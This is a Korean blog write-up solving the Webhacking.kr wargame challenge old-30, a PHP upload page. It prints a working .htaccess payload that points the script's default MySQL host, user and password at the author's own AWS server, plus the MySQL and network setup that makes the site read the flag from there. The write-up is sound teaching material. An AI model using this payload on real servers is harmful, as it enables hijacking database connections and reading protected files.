본문 바로가기

Webhacking.kr

old-30

취약점 분석

문제 페이지를 보면 다음과 같이 파일을 업로드 할 수 있고 index.php 소스코드를 볼 수 있는 링크가 출력된다.

우선 어떤 파일이 필터링 되는지 보자.

  • 전에 풀었던 old-28 문제와 마찬가지로, .php 파일을 올리려 하면 ‘<’문자가 필터링 되기 때문에 코드에서 PHP 코드의 <?php 가 ?php 되어버려 PHP코드를 이용한 공격은 불가하다.

다음으로 .htaccess 파일은 업로드가 되는지 보자.

  • PHP 실행을 정지시키려 하는 등의 내용을 가진 .htaccess 파일은 no hack을 출력하며 필터링한다.

  • 그러나 그냥 주석만 있는 .htaccess 파일은 올릴 수 있다.
  • 즉, 일단 .htaccess 파일로 Apache 설정 값을 바꿀 수는 있다.

소스코드 취약점 분석

<?php
  if($_GET['view_source']) highlight_file(__FILE__);
  $db = mysqli_connect() or die();
  mysqli_select_db($db,"chall30") or die();
  $result = mysqli_fetch_array(mysqli_query($db,"select flag from chall30_answer")) or die();
  if($result[0]){
    include "/flag";
  }
?>

 

$db = mysqli_connect() or die();
  • DB에 연결한다. 그런데 인자가 없다.
  • mysqli_connect 함수에 인자가 없으면, php.ini 파일에 설정되어있는 디폴트 설정값을 사용해 연결을 시도하게 된다.
    • host : "localhost"
    • user : ini 설정에 등록된 기본 DB 사용자명
    • password : 없음 (빈 문자열)
    • database : 지정 안 됨 (→ 나중에 mysqli_select_db()로 선택)

즉, 최종적으로는 이렇게 되는 것과 거의 유사하다.

$db = mysqli_connect("localhost", "root", "", "");
mysqli_select_db($db, "chall30");

 

익스플로잇

익스플로잇 시나리오

  1. .htaccess 파일 생성하여 mysqli_connect()가 디폴트로 연결할 DB의 HOST, 사용자, 비밀번호, 포트번호를 지정
  2. Ubuntu 기반 AWS EC2를 생성하여 MySQL 설치
  3. 문제의 PHP 스크립트가 연결될 DB 생성
  4. .htaccess 파일에 기재된 대로 DB 사용자, 비밀번호 생성
  5. 문제의 소스코드에 나온 바에 따라 chall30라는 DB와 chall30_answer라는 테이블 생성
  6. .htaccess 파일을 업로드하면, 본 문제의 PHP 스크립트가 AWS에 설치된 DB에 연결됨

1. .htaccess로 연결할 DB HOST, 사용자명, 비밀번호 정하기

우선 .htaccess 파일을 생성하여 본 문제의 PHP 스크립트가 연결될 DB를 정해주자.

php_value mysqli.default_host "[AWS EC2 ip 주소]"
php_value mysqli.default_user "dbuser"
php_value mysqli.default_pw   "s3cret"
php_value mysqli.default_port "3306"
  • 사용자 명 : dbuser
  • 비밀번호 : s3cret
  • 포트 번호는 디폴트로 3306을 둔다.
  • HOST는 AWS로 부터 할당 받는 공인 IP 주소를 적는다.

2. AWS EC2 생성 및 DB 구축

Ubuntu 기반 AWS EC2 인스턴스를 한개 생성한다.

MySQL 설치 및 DB 생성

MYSQL 설치

sudo apt update
sudo apt install mysql-server
(root 비밀번호 생성과정은 생략)
mysql -u root -p

 

DB 생성 쿼리

CREATE USER dbuser;
ALTER USER 'dbuser'@'%' IDENTIFIED WITH mysql_native_password BY 's3cret';
CREATE DATABASE chall30 DEFAULT CHARSET=utf8 COLLATE=utf8_general_ci;
GRANT ALL PRIVILEGES ON chall30.* TO 'dbuser'@'%';
FLUSH PRIVILEGES;
exit
(shell에서 다시 mysql -u dbuser -p로 접속)
CREATE TABLE chall30_answer (flag char(20) not null)
INSERT INTO chall30_answer (flag) VALUES("abc")

3306 Port 번호 오픈

그런데, 그냥 이러고 .htaccess파일을 올리면 안 된다.

왜냐하면 Ubuntu 서버의 3306 포트가 오픈되어있지 않기 때문이다.

ubuntu@ip-172-31-44-238:~$ netstat -ant
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 127.0.0.54:53           0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.1:33060         0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.1:6011          0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.1:6010          0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN
tcp        0      0 172.31.44.238:22        89.147.101.26:44135     ESTABLISHED
tcp        0      0 172.31.44.238:43744     52.79.128.16:80         TIME_WAIT
(...)

AWS 서버의 3306포트를 어느 IP에서든 접근할 수 있게 열어둬야한다.

방법은 /etc/mysql/mysql.conf.d/mysqld.cnf 파일을 수정하는 것이다.

ubuntu@ip-172-31-44-238:~$ sudo vi /etc/mysql/mysql.conf.d/mysqld.cnf

bind-address            = 0.0.0.0
mysqlx-bind-address     = 0.0.0.0

그러고 다시 netstat -ant 명령어로 네트워크 상태를 확인하자.

ubuntu@ip-172-31-44-238:~$ netstat -ant
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 0.0.0.0:3306            0.0.0.0:*               LISTEN
(...)

3. .htaccess 파일 업로드

이제 .htaccess 파일을 업로드하면 된다.

공격 시나리오 요약

  1. 소스코드의 mysqli_connect()함수에 인자가 없을 경우 php.ini의 기본 설정으로 DB 연결 시도
    • host : "localhost"
    • user : ini 설정에 등록된 기본 DB 사용자명
    • password : “ ” (빈 문자열)
    • database : “ ”
  2. .htaccess 파일을 업로드 하여 PHP 스크립트의 mysqli_connect함수에 인자가 없는 경우 기본 연결 사용자, 비밀번호를 설정
  3. Ubuntu AWS EC2 인스턴스에 MySQL 설치
  4. .htaccess 파일에 지정되어있는 대로 사용자, 비밀번호 설정
  5. chall30 DB 생성
  6. flag라는 컬럼을 가진 chall30_answer 테이블 생성
  7. FLAG 추출

끝.

'Webhacking.kr' 카테고리의 다른 글

baby toctou(Race Condition)  (0) 2026.05.12
old-28  (1) 2026.05.12
old-40  (0) 2026.05.12
old-22  (0) 2026.05.12
old-44  (0) 2026.05.12